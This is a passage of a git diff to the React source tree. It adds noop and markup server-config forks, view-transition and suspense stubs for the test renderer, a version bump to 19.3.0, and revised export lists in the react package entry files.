+  return reference.$$typeof === SERVER_REFERENCE_TAG;
+}
+
+export function getClientReferenceKey(
+  reference: ClientReference<any>,
+): ClientReferenceKey {
+  throw new Error(
+    'Attempted to render a Client Component from renderToHTML. ' +
+      'This is not supported since it will never hydrate. ' +
+      'Only render Server Components with renderToHTML.',
+  );
+}
+
+export function resolveClientReferenceMetadata<T>(
+  config: ClientManifest,
+  clientReference: ClientReference<T>,
+): ClientReferenceMetadata {
+  throw new Error(
+    'Attempted to render a Client Component from renderToHTML. ' +
+      'This is not supported since it will never hydrate. ' +
+      'Only render Server Components with renderToHTML.',
+  );
+}
+
+export function getServerReferenceId<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): ServerReferenceId {
+  throw new Error(
+    'Attempted to render a Server Action from renderToHTML. ' +
+      'This is not supported since it varies by version of the app. ' +
+      'Use a fixed URL for any forms instead.',
+  );
+}
+
+export function getServerReferenceBoundArguments<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): null | Array<ReactClientValue> {
+  throw new Error(
+    'Attempted to render a Server Action from renderToHTML. ' +
+      'This is not supported since it varies by version of the app. ' +
+      'Use a fixed URL for any forms instead.',
+  );
+}
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void {
+  return undefined;
+}
diff --git a/packages/react-server/src/forks/ReactFlightServerConfig.noop.js b/packages/react-server/src/forks/ReactFlightServerConfig.noop.js
new file mode 100644
index 000000000000..2d1fb68a07a7
--- /dev/null
+++ b/packages/react-server/src/forks/ReactFlightServerConfig.noop.js
@@ -0,0 +1,47 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Request} from 'react-server/src/ReactFlightServer';
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+export * from '../ReactFlightServerConfigBundlerCustom';
+
+export * from '../ReactFlightServerConfigDebugNoop';
+
+export * from '../ReactFlightStackConfigV8';
+export * from '../ReactServerConsoleConfigPlain';
+
+export type Hints = null;
+export type HintCode = string;
+export type HintModel<T: HintCode> = null; // eslint-disable-line no-unused-vars
+
+export const supportsRequestStorage = false;
+export const requestStorage: AsyncLocalStorage<Request | void> = (null: any);
+
+export const supportsComponentStorage = false;
+export const componentStorage: AsyncLocalStorage<ReactComponentInfo | void> =
+  (null: any);
+
+export function createHints(): Hints {
+  return null;
+}
+
+export type FormatContext = null;
+
+export function createRootFormatContext(): FormatContext {
+  return null;
+}
+
+export function getChildFormatContext(
+  parentContext: FormatContext,
+  type: string,
+  props: Object,
+): FormatContext {
+  return parentContext;
+}
diff --git a/packages/react-server/src/forks/ReactServerStreamConfig.custom.js b/packages/react-server/src/forks/ReactServerStreamConfig.custom.js
index a9799cb7ba19..662bded021d5 100644
--- a/packages/react-server/src/forks/ReactServerStreamConfig.custom.js
+++ b/packages/react-server/src/forks/ReactServerStreamConfig.custom.js
@@ -24,11 +24,11 @@
 // really an argument to a top-level wrapping function.
 
 declare const $$$config: any;
-export opaque type Destination = mixed; // eslint-disable-line no-undef
+export opaque type Destination = mixed;
 
-export opaque type PrecomputedChunk = mixed; // eslint-disable-line no-undef
-export opaque type Chunk = mixed; // eslint-disable-line no-undef
-export opaque type BinaryChunk = mixed; // eslint-disable-line no-undef
+export opaque type PrecomputedChunk = mixed;
+export opaque type Chunk = mixed;
+export opaque type BinaryChunk = mixed;
 
 export const scheduleWork = $$$config.scheduleWork;
 export const scheduleMicrotask = $$$config.scheduleMicrotask;
@@ -45,3 +45,4 @@ export const typedArrayToBinaryChunk = $$$config.typedArrayToBinaryChunk;
 export const byteLengthOfChunk = $$$config.byteLengthOfChunk;
 export const byteLengthOfBinaryChunk = $$$config.byteLengthOfBinaryChunk;
 export const createFastHash = $$$config.createFastHash;
+export const readAsDataURL = $$$config.readAsDataURL;
diff --git a/packages/react-server/src/forks/ReactServerStreamConfig.markup.js b/packages/react-server/src/forks/ReactServerStreamConfig.markup.js
new file mode 100644
index 000000000000..80d5dcab2a5f
--- /dev/null
+++ b/packages/react-server/src/forks/ReactServerStreamConfig.markup.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from 'react-dom-bindings/src/server/ReactDOMLegacyServerStreamConfig';
diff --git a/packages/react-server/src/forks/ReactServerStreamConfig.noop.js b/packages/react-server/src/forks/ReactServerStreamConfig.noop.js
new file mode 100644
index 000000000000..a929d13a7045
--- /dev/null
+++ b/packages/react-server/src/forks/ReactServerStreamConfig.noop.js
@@ -0,0 +1,48 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a host config that's used for the `react-server` package on npm.
+// It is only used by third-party renderers.
+//
+// Its API lets you pass the host config as an argument.
+// However, inside the `react-server` we treat host config as a module.
+// This file is a shim between two worlds.
+//
+// It works because the `react-server` bundle is wrapped in something like:
+//
+// module.exports = function ($$$config) {
+//   /* renderer code */
+// }
+//
+// So `$$$config` looks like a global variable, but it's
+// really an argument to a top-level wrapping function.
+
+declare const $$$config: $FlowFixMe;
+export opaque type Destination = mixed;
+
+export opaque type PrecomputedChunk = mixed;
+export opaque type Chunk = mixed;
+export opaque type BinaryChunk = mixed;
+
+export const scheduleWork = $$$config.scheduleWork;
+export const scheduleMicrotask = $$$config.scheduleMicrotask;
+export const beginWriting = $$$config.beginWriting;
+export const writeChunk = $$$config.writeChunk;
+export const writeChunkAndReturn = $$$config.writeChunkAndReturn;
+export const completeWriting = $$$config.completeWriting;
+export const flushBuffered = $$$config.flushBuffered;
+export const close = $$$config.close;
+export const closeWithError = $$$config.closeWithError;
+export const stringToChunk = $$$config.stringToChunk;
+export const stringToPrecomputedChunk = $$$config.stringToPrecomputedChunk;
+export const typedArrayToBinaryChunk = $$$config.typedArrayToBinaryChunk;
+export const byteLengthOfChunk = $$$config.byteLengthOfChunk;
+export const byteLengthOfBinaryChunk = $$$config.byteLengthOfBinaryChunk;
+export const createFastHash = $$$config.createFastHash;
+export const readAsDataURL = $$$config.readAsDataURL;
diff --git a/packages/react-suspense-test-utils/src/ReactSuspenseTestUtils.js b/packages/react-suspense-test-utils/src/ReactSuspenseTestUtils.js
index bc2d4bee79d0..0e8e5c5b687d 100644
--- a/packages/react-suspense-test-utils/src/ReactSuspenseTestUtils.js
+++ b/packages/react-suspense-test-utils/src/ReactSuspenseTestUtils.js
@@ -22,6 +22,9 @@ export function waitForSuspense<T>(fn: () => T): Promise<T> {
       }
       return entry;
     },
+    cacheSignal(): null {
+      return null;
+    },
     getOwner(): null {
       return null;
     },
diff --git a/packages/react-test-renderer/package.json b/packages/react-test-renderer/package.json
index cdd5a499968a..b09c371c0100 100644
--- a/packages/react-test-renderer/package.json
+++ b/packages/react-test-renderer/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-test-renderer",
-  "version": "19.0.0",
+  "version": "19.3.0",
   "description": "React package for snapshot testing.",
   "main": "index.js",
   "repository": {
@@ -19,11 +19,11 @@
   },
   "homepage": "https://react.dev/",
   "dependencies": {
-    "react-is": "^18.2.0",
-    "scheduler": "^0.23.0"
+    "react-is": "^19.3.0",
+    "scheduler": "^0.28.0"
   },
   "peerDependencies": {
-    "react": "^19.0.0"
+    "react": "^19.3.0"
   },
   "files": [
     "LICENSE",
diff --git a/packages/react-test-renderer/src/ReactFiberConfigTestHost.js b/packages/react-test-renderer/src/ReactFiberConfigTestHost.js
index 9d924e35ab43..6b04a36d297a 100644
--- a/packages/react-test-renderer/src/ReactFiberConfigTestHost.js
+++ b/packages/react-test-renderer/src/ReactFiberConfigTestHost.js
@@ -7,12 +7,21 @@
  * @flow
  */
 
+import type {ReactContext} from 'shared/ReactTypes';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+
 import isArray from 'shared/isArray';
+import {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';
 import {
   DefaultEventPriority,
   NoEventPriority,
   type EventPriority,
 } from 'react-reconciler/src/ReactEventPriorities';
+import {enableProfilerTimer} from 'shared/ReactFeatureFlags';
+
+export {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.
+export const rendererPackageName = 'react-test-renderer';
+export const extraDevToolsConfig = null;
 
 export type Type = string;
 export type Props = Object;
@@ -164,6 +173,21 @@ export function createInstance(
   };
 }
 
+export function cloneMutableInstance(
+  instance: Instance,
+  keepChildren: boolean,
+): Instance {
+  return {
+    type: instance.type,
+    props: instance.props,
+    isHidden: instance.isHidden,
+    children: keepChildren ? instance.children : [],
+    internalInstanceHandle: null,
+    rootContainerInstance: instance.rootContainerInstance,
+    tag: 'INSTANCE',
+  };
+}
+
 export function appendInitialChild(
   parentInstance: Instance,
   child: Instance | TextInstance,
@@ -202,6 +226,16 @@ export function createTextInstance(
   };
 }
 
+export function cloneMutableTextInstance(
+  textInstance: TextInstance,
+): TextInstance {
+  return {
+    text: textInstance.text,
+    isHidden: textInstance.isHidden,
+    tag: 'TEXT',
+  };
+}
+
 let currentUpdatePriority: EventPriority = NoEventPriority;
 export function setCurrentUpdatePriority(newPriority: EventPriority): void {
   currentUpdatePriority = newPriority;
@@ -217,6 +251,14 @@ export function resolveUpdatePriority(): EventPriority {
   }
   return DefaultEventPriority;
 }
+
+export function trackSchedulerEvent(): void {}
+export function resolveEventType(): null | string {
+  return null;
+}
+export function resolveEventTimeStamp(): number {
+  return -1.1;
+}
 export function shouldAttemptEagerTransition(): boolean {
   return false;
 }
@@ -227,7 +269,7 @@ export const warnsIfNotActing = true;
 export const scheduleTimeout = setTimeout;
 export const cancelTimeout = clearTimeout;
 
-export const noTimeout = -1;
+export const noTimeout: -1 = -1;
 
 // -------------------
 //     Mutation
@@ -290,6 +332,177 @@ export function unhideTextInstance(
   textInstance.isHidden = false;
 }
 
+export function applyViewTransitionName(
+  instance: Instance,
+  name: string,
+  className: ?string,
+): void {
+  // Noop
+}
+
+export function restoreViewTransitionName(
+  instance: Instance,
+  props: Props,
+): void {
+  // Noop
+}
+
+export function cancelViewTransitionName(
+  instance: Instance,
+  name: string,
+  props: Props,
+): void {
+  // Noop
+}
+
+export function cancelRootViewTransitionName(rootContainer: Container): void {
+  // Noop
+}
+
+export function restoreRootViewTransitionName(rootContainer: Container): void {
+  // Noop
+}
+
+export function cloneRootViewTransitionContainer(
+  rootContainer: Container,
+): Instance {
+  return {
+    type: 'ROOT',
+    props: {},
+    isHidden: false,
+    children: [],
+    internalInstanceHandle: null,
+    rootContainerInstance: rootContainer,
+    tag: 'INSTANCE',
+  };
+}
+
+export function removeRootViewTransitionClone(
+  rootContainer: Container,
+  clone: Instance,
+): void {
+  // Noop since it was never inserted anywhere.
+}
+
+export type InstanceMeasurement = null;
+
+export function measureInstance(instance: Instance): InstanceMeasurement {
+  return null;
+}
+
+export function measureClonedInstance(instance: Instance): InstanceMeasurement {
+  return null;
+}
+
+export function wasInstanceInViewport(
+  measurement: InstanceMeasurement,
+): boolean {
+  return true;
+}
+
+export function hasInstanceChanged(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  return false;
+}
+
+export function hasInstanceAffectedParent(
+  oldMeasurement: InstanceMeasurement,
+  newMeasurement: InstanceMeasurement,
+): boolean {
+  return false;
+}
+
+export function startViewTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  layoutCallback: () => void,
+  afterMutationCallback: () => void,
+  spawnedWorkCallback: () => void,
+  passiveCallback: () => mixed,
+  errorCallback: mixed => void,
+  blockedCallback: string => void, // Profiling-only
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  mutationCallback();
+  layoutCallback();
+  // Skip afterMutationCallback(). We don't need it since we're not animating.
+  spawnedWorkCallback();
+  // Skip passiveCallback(). Spawned work will schedule a task.
+  return null;
+}
+
+export type RunningViewTransition = null;
+
+export function startGestureTransition(
+  suspendedState: null | SuspendedState,
+  rootContainer: Container,
+  timeline: GestureTimeline,
+  rangeStart: number,
+  rangeEnd: number,
+  transitionTypes: null | TransitionTypes,
+  mutationCallback: () => void,
+  animateCallback: () => void,
+  errorCallback: mixed => void,
+  finishedAnimation: () => void, // Profiling-only
+): null | RunningViewTransition {
+  mutationCallback();
+  animateCallback();
+  if (enableProfilerTimer) {
+    finishedAnimation();
+  }
+  return null;
+}
+
+export function stopViewTransition(transition: RunningViewTransition) {}
+
+export function addViewTransitionFinishedListener(
+  transition: RunningViewTransition,
+  callback: () => void,
+) {
+  callback();
+}
+
+export type ViewTransitionInstance = null | {name: string, ...};
+
+export function createViewTransitionInstance(
+  name: string,
+): ViewTransitionInstance {
+  return null;
+}
+
+export type FragmentInstanceType = null;
+
+export function createFragmentInstance(
+  fragmentFiber: Object,
+): FragmentInstanceType {
+  return null;
+}
+
+export function updateFragmentInstanceFiber(
+  fragmentFiber: Object,
+  instance: FragmentInstanceType,
+): void {
+  // Noop
+}
+
+export function commitNewChildToFragmentInstance(
+  child: Instance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // noop
+}
+
+export function deleteChildFromFragmentInstance(
+  child: Instance,
+  fragmentInstance: FragmentInstanceType,
+): void {
+  // Noop
+}
+
 export function getInstanceFromNode(mockNode: Object): Object | null {
   const instance = nodeToInstanceMap.get(mockNode);
   if (instance !== undefined) {
@@ -298,6 +511,12 @@ export function getInstanceFromNode(mockNode: Object): Object | null {
   return null;
 }
 
+export type GestureTimeline = null;
+
+export function getCurrentGestureOffset(provider: GestureTimeline): number {
+  return 0;
+}
+
 export function beforeActiveInstanceBlur(internalInstanceHandle: Object) {
   // noop
 }
@@ -334,20 +553,71 @@ export function maySuspendCommit(type: Type, props: Props): boolean {
   return false;
 }
 
-export function preloadInstance(type: Type, props: Props): boolean {
+export function maySuspendCommitOnUpdate(
+  type: Type,
+  oldProps: Props,
+  newProps: Props,
+): boolean {
+  return false;
+}
+
+export function maySuspendCommitInSyncRender(
+  type: Type,
+  props: Props,
+): boolean {
+  return false;
+}
+
+export function preloadInstance(
+  instance: Instance,
+  type: Type,
+  props: Props,
+): boolean {
   // Return true to indicate it's already loaded
   return true;
 }
 
-export function startSuspendingCommit(): void {}
+export opaque type SuspendedState = null;
 
-export function suspendInstance(type: Type, props: Props): void {}
+export function startSuspendingCommit(): SuspendedState {
+  return null;
+}
 
-export function waitForCommitToBeReady(): null {
+export function suspendInstance(
+  state: SuspendedState,
+  instance: Instance,
+  type: Type,
+  props: Props,
+): void {}
+
+export function suspendOnActiveViewTransition(
+  state: SuspendedState,
+  container: Container,
+): void {}
+
+export function waitForCommitToBeReady(
+  state: SuspendedState,
+  timeoutOffset: number,
+): null {
+  return null;
+}
+
+export function getSuspendedCommitReason(
+  state: SuspendedState,
+  rootContainer: Container,
+): null | string {
   return null;
 }
 
 export const NotPendingTransition: TransitionStatus = null;
+export const HostTransitionContext: ReactContext<TransitionStatus> = {
+  $$typeof: REACT_CONTEXT_TYPE,
+  Provider: (null: any),
+  Consumer: (null: any),
+  _currentValue: NotPendingTransition,
+  _currentValue2: NotPendingTransition,
+  _threadCount: 0,
+};
 
 export type FormInstance = Instance;
 export function resetFormInstance(form: Instance): void {}
diff --git a/packages/react-test-renderer/src/ReactTestRenderer.js b/packages/react-test-renderer/src/ReactTestRenderer.js
index e23bc1f1663c..08676503fa49 100644
--- a/packages/react-test-renderer/src/ReactTestRenderer.js
+++ b/packages/react-test-renderer/src/ReactTestRenderer.js
@@ -9,6 +9,7 @@
 
 import type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
 import type {
+  Container,
   PublicInstance,
   Instance,
   TextInstance,
@@ -56,11 +57,16 @@ import {checkPropStringCoercion} from 'shared/CheckStringCoercion';
 import {getPublicInstance} from './ReactFiberConfigTestHost';
 import {ConcurrentRoot, LegacyRoot} from 'react-reconciler/src/ReactRootTags';
 import {
-  allowConcurrentByDefault,
   enableReactTestRendererWarning,
   disableLegacyMode,
 } from 'shared/ReactFeatureFlags';
 
+import noop from 'shared/noop';
+import type {WorkTag} from 'react-reconciler/src/ReactWorkTags';
+
+const defaultOnDefaultTransitionIndicator: () => void | (() => void) = noop;
+
+// $FlowFixMe[prop-missing]: This is only in the development export.
 const act = React.act;
 
 // TODO: Remove from public bundle
@@ -69,7 +75,6 @@ type TestRendererOptions = {
   createNodeMock: (element: React$Element<any>) => any,
   unstable_isConcurrent: boolean,
   unstable_strictMode: boolean,
-  unstable_concurrentUpdatesByDefault: boolean,
   ...
 };
 
@@ -106,11 +111,9 @@ function toJSON(inst: Instance | TextInstance): ReactTestRendererNode | null {
     case 'TEXT':
       return inst.text;
     case 'INSTANCE': {
-      /* eslint-disable no-unused-vars */
       // We don't include the `children` prop in JSON.
       // Instead, we will include the actual rendered children.
       const {children, ...props} = inst.props;
-      /* eslint-enable */
       let renderedChildren = null;
       if (inst.children && inst.children.length) {
         for (let i = 0; i < inst.children.length; i++) {
@@ -169,10 +172,14 @@ function flatten(arr) {
   const stack = [{i: 0, array: arr}];
   while (stack.length) {
     const n = stack.pop();
+    // $FlowFixMe[incompatible-use]
     while (n.i < n.array.length) {
+      // $FlowFixMe[incompatible-use]
       const el = n.array[n.i];
+      // $FlowFixMe[incompatible-use]
       n.i += 1;
       if (isArray(el)) {
+        // $FlowFixMe[incompatible-call]
         stack.push(n);
         stack.push({i: 0, array: el});
         break;
@@ -239,7 +246,7 @@ function toTree(node: null | Fiber): $FlowFixMe {
   }
 }
 
-const validWrapperTypes = new Set([
+const validWrapperTypes: Set<WorkTag> = new Set([
   FunctionComponent,
   ClassComponent,
   HostComponent,
@@ -467,7 +474,7 @@ function create(
   toTree(): mixed,
   update(newElement: React$Element<any>): any,
   unmount(): void,
-  getInstance(): React$Component<any, any> | PublicInstance | null,
+  getInstance(): component(...props: any) | PublicInstance | null,
   unstable_flushSync: typeof flushSyncFromReconciler,
 } {
   if (__DEV__) {
@@ -487,7 +494,6 @@ function create(
     global.IS_REACT_NATIVE_TEST_ENVIRONMENT !== true;
   let isConcurrent = isConcurrentOnly;
   let isStrictMode = false;
-  let concurrentUpdatesByDefault = null;
   if (typeof options === 'object' && options !== null) {
     if (typeof options.createNodeMock === 'function') {
       // $FlowFixMe[incompatible-type] found when upgrading Flow
@@ -499,14 +505,8 @@ function create(
     if (options.unstable_strictMode === true) {
       isStrictMode = true;
     }
-    if (allowConcurrentByDefault) {
-      if (options.unstable_concurrentUpdatesByDefault !== undefined) {
-        concurrentUpdatesByDefault =
-          options.unstable_concurrentUpdatesByDefault;
-      }
-    }
   }
-  let container = {
+  let container: Container = {
     children: ([]: Array<Instance | TextInstance>),
     createNodeMock,
     tag: 'CONTAINER',
@@ -516,11 +516,12 @@ function create(
     isConcurrent ? ConcurrentRoot : LegacyRoot,
     null,
     isStrictMode,
-    concurrentUpdatesByDefault,
+    false,
     '',
     defaultOnUncaughtError,
     defaultOnCaughtError,
     defaultOnRecoverableError,
+    defaultOnDefaultTransitionIndicator,
     null,
   );
 
@@ -643,19 +644,12 @@ function wrapFiber(fiber: Fiber): ReactTestInstance {
 }
 
 // Enable ReactTestRenderer to be used to test DevTools integration.
-injectIntoDevTools({
-  findFiberByHostInstance: (() => {
-    throw new Error('TestRenderer does not support findFiberByHostInstance()');
-  }: any),
-  bundleType: __DEV__ ? 1 : 0,
-  version: ReactVersion,
-  rendererPackageName: 'react-test-renderer',
-});
+injectIntoDevTools();
 
 export {
   Scheduler as _Scheduler,
   create,
-  /* eslint-disable-next-line camelcase */
   batchedUpdates as unstable_batchedUpdates,
   act,
+  ReactVersion as version,
 };
diff --git a/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.internal.js b/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.internal.js
index 2588bed829bb..62bef5353eab 100644
--- a/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.internal.js
+++ b/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.internal.js
@@ -43,7 +43,6 @@ function cleanNodeOrArray(node) {
     node.instance = null;
   }
   if (node && node.props && node.props.children) {
-    // eslint-disable-next-line no-unused-vars
     const {children, ...props} = node.props;
     node.props = props;
   }
@@ -94,7 +93,8 @@ describe('ReactTestRenderer', () => {
         tag,
         null,
         expect.anything(),
-        null,
+        false,
+        expect.anything(),
         expect.anything(),
         expect.anything(),
         expect.anything(),
@@ -387,39 +387,6 @@ describe('ReactTestRenderer', () => {
     expect(log).toEqual([null]);
   });
 
-  // @gate !enableRefAsProp || !__DEV__
-  it('warns correctly for refs on SFCs', async () => {
-    function Bar() {
-      return <div>Hello, world</div>;
-    }
-    class Foo extends React.Component {
-      fooRef = React.createRef();
-      render() {
-        return <Bar ref={this.fooRef} />;
-      }
-    }
-    class Baz extends React.Component {
-      bazRef = React.createRef();
-      render() {
-        return <div ref={this.bazRef} />;
-      }
-    }
-    await act(() => {
-      ReactTestRenderer.create(<Baz />);
-    });
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(<Foo />);
-      });
-    }).toErrorDev(
-      'Function components cannot be given refs. Attempts ' +
-        'to access this ref will fail. ' +
-        'Did you mean to use React.forwardRef()?\n' +
-        '    in Bar (at **)\n' +
-        '    in Foo (at **)',
-    );
-  });
-
   it('allows an optional createNodeMock function', async () => {
     const mockDivInstance = {appendChild: () => {}};
     const mockInputInstance = {focus: () => {}};
@@ -1227,11 +1194,9 @@ describe('ReactTestRenderer', () => {
             {
               instance: null,
               nodeType: 'host',
-              props: gate(flags => flags.enableRefAsProp)
-                ? {
-                    ref: refFn,
-                  }
-                : {},
+              props: {
+                ref: refFn,
+              },
               rendered: [],
               type: 'span',
             },
diff --git a/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.js b/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.js
index e3400b173a21..53c0ea849134 100644
--- a/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.js
+++ b/packages/react-test-renderer/src/__tests__/ReactTestRenderer-test.js
@@ -14,6 +14,7 @@ let React;
 let ReactCache;
 let ReactTestRenderer;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactTestRenderer', () => {
   beforeEach(() => {
@@ -27,19 +28,22 @@ describe('ReactTestRenderer', () => {
     ReactTestRenderer = require('react-test-renderer');
     const InternalTestUtils = require('internal-test-utils');
     act = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   it('should warn if used to render a ReactDOM portal', async () => {
     const container = document.createElement('div');
     let error;
 
-    await expect(async () => {
-      await act(() => {
-        ReactTestRenderer.create(ReactDOM.createPortal('foo', container));
-      }).catch(e => (error = e));
-    }).toErrorDev('An invalid container has been provided.', {
-      withoutStack: true,
-    });
+    await act(() => {
+      ReactTestRenderer.create(ReactDOM.createPortal('foo', container));
+    }).catch(e => (error = e));
+    assertConsoleErrorDev([
+      'An invalid container has been provided. ' +
+        'This may indicate that another renderer is being used in addition to the test renderer. ' +
+        '(For example, ReactDOM.createPortal inside of a ReactTestRenderer tree.) ' +
+        'This is not supported.',
+    ]);
 
     // After the update throws, a subsequent render is scheduled to
     // unmount the whole tree. This update also causes an error, so React
diff --git a/packages/react/compiler-runtime.js b/packages/react/compiler-runtime.js
index 7ff68cd6fa02..6d82bd38538f 100644
--- a/packages/react/compiler-runtime.js
+++ b/packages/react/compiler-runtime.js
@@ -7,4 +7,4 @@
  * @flow
  */
 
-export {useMemoCache as c} from './src/ReactHooks';
+export * from './src/ReactCompilerRuntime';
diff --git a/packages/react/index.development.js b/packages/react/index.development.js
new file mode 100644
index 000000000000..ed4a5a325d95
--- /dev/null
+++ b/packages/react/index.development.js
@@ -0,0 +1,76 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// Keep in sync with https://github.com/facebook/flow/blob/main/lib/react.js
+export type ElementType = React$ElementType;
+export type Element<+C> = React$Element<C>;
+export type Key = React$Key;
+export type Node = React$Node;
+export type Context<T> = React$Context<T>;
+export type Portal = React$Portal;
+export type ElementProps<C> = React$ElementProps<C>;
+export type ElementConfig<C> = React$ElementConfig<C>;
+export type ElementRef<C> = React$ElementRef<C>;
+export type ChildrenArray<+T> = $ReadOnlyArray<ChildrenArray<T>> | T;
+
+// Export all exports so that they're available in tests.
+// We can't use export * from in Flow for some reason.
+export {
+  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
+  __COMPILER_RUNTIME,
+  Children,
+  Component,
+  Fragment,
+  Profiler,
+  PureComponent,
+  StrictMode,
+  Suspense,
+  cloneElement,
+  createContext,
+  createElement,
+  createRef,
+  use,
+  forwardRef,
+  isValidElement,
+  lazy,
+  memo,
+  cache,
+  cacheSignal,
+  startTransition,
+  unstable_LegacyHidden,
+  Activity,
+  ViewTransition,
+  addTransitionType,
+  unstable_Scope,
+  unstable_SuspenseList,
+  unstable_TracingMarker,
+  unstable_getCacheForType,
+  unstable_useCacheRefresh,
+  useId,
+  useCallback,
+  useContext,
+  useDebugValue,
+  useDeferredValue,
+  useEffect,
+  useEffectEvent,
+  useImperativeHandle,
+  useInsertionEffect,
+  useLayoutEffect,
+  useMemo,
+  useOptimistic,
+  useSyncExternalStore,
+  useReducer,
+  useRef,
+  useState,
+  useTransition,
+  useActionState,
+  version,
+  act, // DEV-only
+  captureOwnerStack, // DEV-only
+} from './src/ReactClient';
diff --git a/packages/react/index.experimental.development.js b/packages/react/index.experimental.development.js
new file mode 100644
index 000000000000..8ff2e1d257f4
--- /dev/null
+++ b/packages/react/index.experimental.development.js
@@ -0,0 +1,76 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
+  __COMPILER_RUNTIME,
+  Children,
+  Component,
+  Fragment,
+  Profiler,
+  PureComponent,
+  StrictMode,
+  Suspense,
+  cloneElement,
+  createContext,
+  createElement,
+  createRef,
+  use,
+  forwardRef,
+  isValidElement,
+  lazy,
+  memo,
+  cache,
+  cacheSignal,
+  startTransition,
+  optimisticKey,
+  Activity,
+  unstable_getCacheForType,
+  unstable_SuspenseList,
+  ViewTransition,
+  unstable_startGestureTransition,
+  addTransitionType,
+  unstable_useCacheRefresh,
+  useId,
+  useCallback,
+  useContext,
+  useDebugValue,
+  useDeferredValue,
+  useEffect,
+  useEffectEvent,
+  useImperativeHandle,
+  useInsertionEffect,
+  useLayoutEffect,
+  useMemo,
+  useOptimistic,
+  useReducer,
+  useRef,
+  useState,
+  useSyncExternalStore,
+  useTransition,
+  useActionState,
+  version,
+  act, // DEV-only
+  captureOwnerStack, // DEV-only
+} from './src/ReactClient';
+
+import {useOptimistic} from './src/ReactClient';
+
+export function experimental_useOptimistic<S, A>(
+  passthrough: S,
+  reducer: ?(S, A) => S,
+): [S, (A) => void] {
+  if (__DEV__) {
+    console.error(
+      'useOptimistic is now in canary. Remove the experimental_ prefix. ' +
+        'The prefixed alias will be removed in an upcoming release.',
+    );
+  }
+  return useOptimistic(passthrough, reducer);
+}
diff --git a/packages/react/index.experimental.js b/packages/react/index.experimental.js
index efac1257849b..881a71b2501d 100644
--- a/packages/react/index.experimental.js
+++ b/packages/react/index.experimental.js
@@ -9,7 +9,7 @@
 
 export {
   __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
-  act,
+  __COMPILER_RUNTIME,
   Children,
   Component,
   Fragment,
@@ -27,12 +27,16 @@ export {
   lazy,
   memo,
   cache,
+  cacheSignal,
   startTransition,
-  unstable_DebugTracingMode,
-  unstable_Activity,
-  unstable_postpone,
+  optimisticKey,
+  Activity,
+  Activity as unstable_Activity,
   unstable_getCacheForType,
   unstable_SuspenseList,
+  ViewTransition,
+  unstable_startGestureTransition,
+  addTransitionType,
   unstable_useCacheRefresh,
   useId,
   useCallback,
@@ -40,7 +44,7 @@ export {
   useDebugValue,
   useDeferredValue,
   useEffect,
-  experimental_useEffectEvent,
+  useEffectEvent,
   useImperativeHandle,
   useInsertionEffect,
   useLayoutEffect,
diff --git a/packages/react/index.fb.js b/packages/react/index.fb.js
index 49259d9eaf50..d61af001a538 100644
--- a/packages/react/index.fb.js
+++ b/packages/react/index.fb.js
@@ -7,17 +7,22 @@
  * @flow
  */
 
+import {captureOwnerStack as captureOwnerStackImpl} from './src/ReactClient';
+
 export {
   __CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE,
+  __COMPILER_RUNTIME,
   act,
   cache,
+  cacheSignal,
   Children,
   cloneElement,
   Component,
   createContext,
   createElement,
   createRef,
-  experimental_useEffectEvent,
+  useEffectEvent as experimental_useEffectEvent,
+  useEffectEvent,
   forwardRef,
   Fragment,
   isValidElement,
@@ -28,13 +33,17 @@ export {
   startTransition,
   StrictMode,
   Suspense,
-  unstable_Activity,
-  unstable_DebugTracingMode,
+  Activity,
+  Activity as unstable_Activity,
   unstable_getCacheForType,
   unstable_LegacyHidden,
   unstable_Scope,
   unstable_SuspenseList,
+  ViewTransition,
+  ViewTransition as unstable_ViewTransition,
